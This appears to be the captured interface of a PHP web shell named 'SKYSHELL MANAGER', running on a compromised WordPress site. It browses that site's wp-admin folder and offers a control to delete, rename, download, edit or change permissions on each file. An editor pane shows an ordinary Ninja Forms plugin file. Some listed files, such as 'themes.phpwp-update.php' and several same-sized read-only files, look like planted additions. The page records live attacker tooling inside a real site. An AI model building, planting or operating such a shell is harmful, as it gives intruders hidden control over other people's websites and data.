📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: Calcs.php
<?php if ( ! defined( 'ABSPATH' ) ) exit; /** * Class NF_MergeTags_Calcs */ class NF_MergeTags_Calcs extends NF_Abstracts_MergeTags { protected $id = 'calcs'; protected $_default_group = FALSE; public function __construct() { parent::__construct(); $this->title = esc_html__( 'Calculations', 'ninja-forms' ); add_filter( 'ninja_forms_calc_setting', array( $this, 'replace' ) ); } public function __call($name, $arguments) { return $this->merge_tags[ $name ][ 'calc_value' ]; } public function set_merge_tags( $key, $value, $round = 2 , $dec = '.', $sep = ',') { $callback = ( is_numeric( $key ) ) ? 'calc_' . $key : $key; try { $locale = new stdClass(); $locale->number_format = array( 'thousands_sep' => $sep, 'decimal_point' => $dec ); $handler = new NF_Handlers_LocaleNumberFormatting($locale); $eq = $handler->locale_decode_equation($value); $calculated_value = Ninja_Forms()->eos()->solve( $eq ); } catch( Exception $e ){ $calculated_value = FALSE; } $this->merge_tags[ $callback ] = array( 'id' => $key, 'tag' => "{calc:$key}", 'callback' => $callback, 'calc_value' => number_format( $calculated_value, $round, '.', '' ) ); $callback .= '2'; $this->merge_tags[ $callback ] = array( 'id' => $key, 'tag' => "{calc:$key:2}", 'callback' => $callback, 'calc_value' => number_format( $calculated_value, 2, '.', '' ) ); } public function get_calc_value( $key ) { $return = null; if(isset($this->merge_tags[ $key ][ 'calc_value' ])){ $return = $this->merge_tags[ $key ][ 'calc_value' ]; } return $return; } // @TODO: $round is no longer necessary in this context. public function get_formatted_calc_value( $key, $round = 2, $dec = '.', $sep = ',') { $locale = new stdClass(); $locale->number_format = array( 'thousands_sep' => $sep, 'decimal_point' => $dec ); $handler = new NF_Handlers_LocaleNumberFormatting($locale); return $handler->locale_encode_number( $this->merge_tags[ $key ][ 'calc_value' ] ); } } // END CLASS NF_MergeTags_Calcs
Save